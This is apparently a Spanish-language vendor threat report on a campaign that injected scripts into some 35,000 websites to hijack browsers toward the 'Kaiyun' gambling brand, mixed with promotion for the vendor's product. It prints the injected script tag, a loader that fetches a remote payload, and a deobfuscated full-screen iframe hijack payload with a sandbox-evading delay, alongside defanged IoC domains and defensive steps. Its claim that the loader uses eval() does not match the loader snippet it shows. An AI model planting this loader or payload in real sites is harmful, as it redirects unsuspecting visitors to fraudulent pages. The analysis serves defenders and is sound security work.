Resumen: secuestro de página completa Kaiyun ZuizhongJS mlbetjs en 35K sitios
- Sitios anónimos, ignorados: La mayor parte de la atención se centra en ataques dirigidos a marcas conocidas, pero esta campaña secuestró más de 35.000 sitios web en su mayoría anónimos para promocionar la marca de apuestas Kaiyun. Pasó desapercibida porque el tráfico de la víctima promedio no está en la lista de alertas de nadie.
- Los IOCs: Mlbetjs[.]com afectó a más de 18.000 sitios, ptfafajs[.]com a más de 9.000, zuizhongjs[.]com a más de 4.800, y el payload usaba un retardo aleatorio (randomNum) de 500-1000 ms para esquivar sandboxes antes de escribir un iframe a pantalla completa con z-index 2147483647. El agente JavaScript de origen propio de cside observa el comportamiento en tiempo de ejecución de cada script en tiempo real y ya había bloqueado la inyección para nuestros usuarios.
- Pasa a un inventario en runtime: Si tu inventario de JS de terceros todavía vive en una hoja de cálculo, no puedes saber si un único script mlbetjs inyectado está redirigiendo silenciosamente tu tráfico a Kaiyun. Pasa esta semana a un inventario de scripts en tiempo de ejecución.
¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.
Una nueva campaña de malware ha comprometido más de 35.000 sitios web, inyectando un script malicioso desde los dominios que se indican a continuación. Una vez que el script se carga, secuestra por completo la ventana del navegador del usuario, redirigiendo frecuentemente a páginas que promocionan una plataforma de juego (o casino) en idioma chino.
El ataque parece estar dirigido a regiones donde el mandarín es habitual, o bien originarse en ellas, y las páginas de destino finales presentan contenido de juego bajo la marca "Kaiyun".
Lista de Indicadores de Compromiso (IoCs):
- Mlbetjs[.]com (más de 18.000 sitios infectados) - enlace publicwww
- Ptfafajs[.]com (más de 9.000 sitios infectados) - enlace publicwww
- Zuizhongjs[.]com (más de 4.800 sitios infectados) - enlace publicwww
- Jbwzzzjs[.]com (más de 2.900 sitios infectados) - enlace publicwww
- Jpbkte[.]com (más de 30 sitios infectados) - enlace publicwww
¿Has encontrado redirecciones similares o nuevos IoCs? Compártelos o ponte en contacto con nuestro equipo. Combinando datos, podemos identificar y desmantelar amenazas en evolución con mayor rapidez.
Todos los sitios enlazados arriba muestran el siguiente mensaje:

Traducción:
¡Felicidades, el sitio se creó correctamente! Este es el index.html predeterminado. Esta página es generada automáticamente por el sistema. Esta página es index.html en el directorio raíz de FTP. Puedes modificar, eliminar o sobrescribir esta página. Para información relacionada con FTP, ve a "Panel del sistema > FTP" para consultarla.
El proceso de infección
Como ejemplo, analizamos zuizhongjs[.]com.
Los atacantes insertan una etiqueta <script> de una sola línea que referencia zuizhongjs[.]com directamente en los archivos del sitio (por ejemplo, en el <head> o al final del <body>). A continuación se muestra un ejemplo del código inyectado:
<script language="javascript"
src="https://www.zuizhongjs[.]com/js/24/12/7/ky1.js"
type="text/javascript"></script>
Cargador ofuscado
Dentro del archivo cargado, los atacantes utilizan un fragmento de JavaScript que escribe otro elemento script para obtener malware adicional:
;(function(o, q, f, e, w, j) {
w = q.createElement(f);
j = q.getElementsByTagName(f)[0];
w.async = 1;
w.src = e;
j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);
El código anterior utiliza concatenación de cadenas y eval() para ocultar su verdadero propósito. Inyecta una nueva etiqueta <script> que descarga el payload principal desde el mismo dominio malicioso.
Payload principal (desofuscado)
A continuación se muestra una versión simplificada del script principal, con las funcionalidades clave:
function isMobile() {
return navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i) ? true : false;
}
var url = "https://www.zuizhongjs[.]com/go/kaiyun1/ky.html";
function getIosVersion() {
var str = navigator.userAgent.toLowerCase();
var ver = str.match(/cpu iphone os (.*?) like mac os/);
return ver ? parseInt(ver[1].slice(0,2)) : false;
}
var u = navigator.userAgent;
var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);
function randomNum(minNum, maxNum) {
return parseInt(Math.random() * (maxNum - minNum + 1) + minNum, 10);
}
const time = randomNum(500, 1000);
console.log(time);
document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
document.write('<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>');
document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">');
document.write('<iframe src="' + url + '" frameborder="0" style="border:0;width: 100%; text-align: center; height:100%;max-height: 4000px;"></iframe>');
document.write('</div>');
Conclusiones clave
- Detección de dispositivo
- Utiliza funciones como isMobile(), getIosVersion() e isIOS para adaptar el payload a dispositivos o sistemas operativos específicos.
- Retardo aleatorio
- randomNum(500, 1000) introduce un retardo de entre 500 y 1000 ms para evadir el análisis automatizado o la detección en entornos sandbox.
- Secuestro a pantalla completa
- El código inyecta un div y un iframe que cubren completamente la página, reemplazando todo el contenido original.
- URL ofuscada
- La url inicial puede estar adicionalmente ofuscada (por ejemplo, mediante escapes Unicode). Actualmente apunta a https://www.zuizhongjs[.]com/go/kaiyun1/ky.html.
- Redirección final
- Una vez ejecutado por completo, algunos usuarios son enviados a un segundo dominio, por ejemplo https://www.p11vt3[.]vip:6002/register50154?i_code=21708264, típico de flujos de registro fraudulentos o de phishing.
Los atacantes parecen canalizar el tráfico hacia un sitio de juego en chino (o casino) que opera bajo la marca "Kaiyun".
Durante nuestro análisis, identificamos algunas variantes en los sitios infectados:


Algunas IPs o regiones ven una página que indica que el acceso está bloqueado. En ella se indica a los usuarios que contacten con un correo electrónico o con el "soporte en línea", posiblemente para filtrar a investigadores de seguridad o reducir el tráfico no deseado.

Posible conexión con el exploit de Megalayer
Nuestro análisis sugiere que esta campaña podría estar relacionada con el exploit de Megalayer, conocido por distribuir malware en idioma chino. Los indicios incluyen:
- Localización: Texto en chino y referencias a audiencias de habla mandarín.
- Patrones de dominio: La estructura de zuizhongjs[.]com, junto con múltiples dominios de redirección que utilizan .vip u otros TLDs favorecidos por ciertos actores de amenazas.
- Tácticas de ofuscación: URLs con escapes Unicode, retardos basados en código, etc.
Cómo proteger tu sitio web
cside analiza el payload de cada solicitud de script en tiempo real. Si un script intenta cargar una versión maliciosa, lo detectamos, bloqueamos su carga y alertamos a tu equipo.
cside ya ha bloqueado este ataque para nuestros usuarios mediante análisis en tiempo real y defensa proactiva. Si sospechas que tu sitio está infectado, contacta de inmediato con tu proveedor de seguridad o de alojamiento.
- Audita tu código fuente
- Revisa tu HTML, los archivos de tema y las plantillas del CMS en busca de etiquetas no autorizadas que referencien zuizhongjs[.]com u otros dominios igualmente sospechosos.
- Bloquea los dominios maliciosos
- Utiliza reglas de firewall o bloqueo a nivel DNS para: zuizhongjs[.]com
- p11vt3[.]vip (y subdominios asociados)
- Monitoriza los registros en busca de solicitudes salientes inesperadas hacia estos dominios.
- Comprueba si hay modificaciones no autorizadas
- Revisa periódicamente tu cuenta de alojamiento o utiliza un verificador de integridad de archivos.
- Cualquier cambio inexplicable en los archivos principales podría indicar una puerta trasera o un punto de inyección.
- Restringe los scripts únicamente a dominios de confianza mediante una CSP bien definida.
- Impide que se carguen scripts en línea y fuentes desconocidas.
- Análisis frecuentes del sitio
La campaña de malware ZuizhongJS demuestra cómo un único script inyectado puede secuestrar miles de sitios web, redirigiendo a usuarios desprevenidos hacia portales de juego en idioma chino. La presencia de logotipos de clubes de fútbol conocidos y referencias deportivas sugiere un intento de aparentar legitimidad, pero toda la operación parece carecer de licencia o ser directamente fraudulenta.
- Propietarios de sitios web: Elimina cualquier script inyectado, bloquea los dominios maliciosos y refuerza tu configuración de seguridad para evitar reinfecciones.
- Investigadores de seguridad: Se necesita una investigación más profunda para confirmar el vínculo con Megalayer, identificar los métodos exactos de infiltración (por ejemplo, plugins de CMS vulnerables, credenciales robadas) y rastrear dominios adicionales.
cside ha detectado y bloqueado este ataque con éxito. Si te preocupa una posible infección, nuestro sistema puede ofrecerte análisis en tiempo real y defensa proactiva.









